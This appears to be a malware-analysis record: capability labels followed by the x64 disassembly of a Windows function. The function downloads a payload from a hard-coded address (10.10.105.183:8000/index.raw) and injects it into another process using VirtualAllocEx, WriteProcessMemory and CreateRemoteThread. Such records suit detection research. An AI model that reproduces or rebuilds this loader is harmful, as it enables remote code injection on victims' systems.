Function at 0x140011721
Capabilities:
Allocate or change rwx memory
Download url
Execute shellcode via indirect call
Receive data

Disassembly:
jmp 0x140018340
push rbp
push rdi
sub rsp, 0x788
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x142
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140028010]
xor rax, rbp
mov qword [rbp + 0x738], rax
lea rcx, [0x14002e10e]
call fcn.140011776
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov qword [rbp + 8], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x48], 0x1fe
mov dword [rbp + 0x64], 0x3000
mov dword [rbp + 0x84], 0x40
call fcn.1400116cc
mov dword [rbp + 0xe4], eax
lea rdx, str.VirtualAllocEx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea rdx, str.CreateRemoteThread
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x128], rax
lea rdx, str.OpenProcess
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x148], rax
lea rdx, str.WriteProcessMemory
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x168], rax
cmp dword [rbp + 0xe4], 0
je 0x140018445
mov r8d, dword [rbp + 0xe4]
xor edx, edx
mov ecx, 0x1fffff
call qword [rbp + 0x148]
mov qword [rbp + 8], rax
jmp 0x14001844f
mov eax, 1
jmp 0x140018682
cmp qword [rbp + 8], 0
jne 0x140018460
mov eax, 3
jmp 0x140018682
lea rax, str.http:__10.10.105.183:8000_index.raw
mov qword [rbp + 0x188], rax
lea rcx, [rbp + 0x408]
call fcn.14001175d
nop
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x1a8]
mov rdx, qword [rbp + 0x188]
xor ecx, ecx
call fcn.14001108c
test eax, eax
jl 0x14001850e
xor eax, eax
cmp eax, 1
je 0x1400184f8
mov rax, qword [rbp + 0x1a8]
mov rax, qword [rax]
lea r9, [rbp + 0x3e4]
mov r8d, 0x1fe
lea rdx, [rbp + 0x1d0]
mov rcx, qword [rbp + 0x1a8]
call qword [rax + 0x18]
cmp dword [rbp + 0x3e4], 0
jne 0x1400184da
jmp 0x1400184f8
mov eax, dword [rbp + 0x3e4]
mov r8d, eax
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x408]
call fcn.1400117cb
jmp 0x1400184a0
mov rax, qword [rbp + 0x1a8]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x1a8]
call qword [rax + 0x10]
jmp 0x14001852f
mov dword [rbp + 0x6a4], 2
lea rcx, [rbp + 0x408]
call fcn.140011154
mov eax, dword [rbp + 0x6a4]
jmp 0x140018682
mov eax, dword [rbp + 0x84]
mov dword [rsp + 0x20], eax
mov r9d, dword [rbp + 0x64]
mov r8, qword [rbp + 0x48]
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [rbp + 0x108]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x140018589
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x6c4], 4
lea rcx, [rbp + 0x408]
call fcn.140011154
mov eax, dword [rbp + 0x6c4]
jmp 0x140018682
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x48]
lea r8, [rbp + 0x1d0]
mov rdx, qword [rbp + 0xa8]
mov rcx, qword [rbp + 8]
call qword [rbp + 0x168]
test eax, eax
jne 0x1400185e0
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x6e4], 5
lea rcx, [rbp + 0x408]
call fcn.140011154
mov eax, dword [rbp + 0x6e4]
jmp 0x140018682
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rbp + 0xa8]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 8]
call qword [rbp + 0x128]
mov qword [rbp + 0x448], rax
cmp qword [rbp + 0x448], 0
jne 0x140018649
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x704], 6
lea rcx, [rbp + 0x408]
call fcn.140011154
mov eax, dword [rbp + 0x704]
jmp 0x140018682
mov rcx, qword [rbp + 0x448]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov dword [rbp + 0x724], 0
lea rcx, [rbp + 0x408]
call fcn.140011154
mov eax, dword [rbp + 0x724]
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x1400237e0]
call fcn.140011631
mov rax, rdi
mov rcx, qword [rbp + 0x738]
xor rcx, rbp
call fcn.140011398
lea rsp, [rbp + 0x748]
pop rdi
pop rbp
ret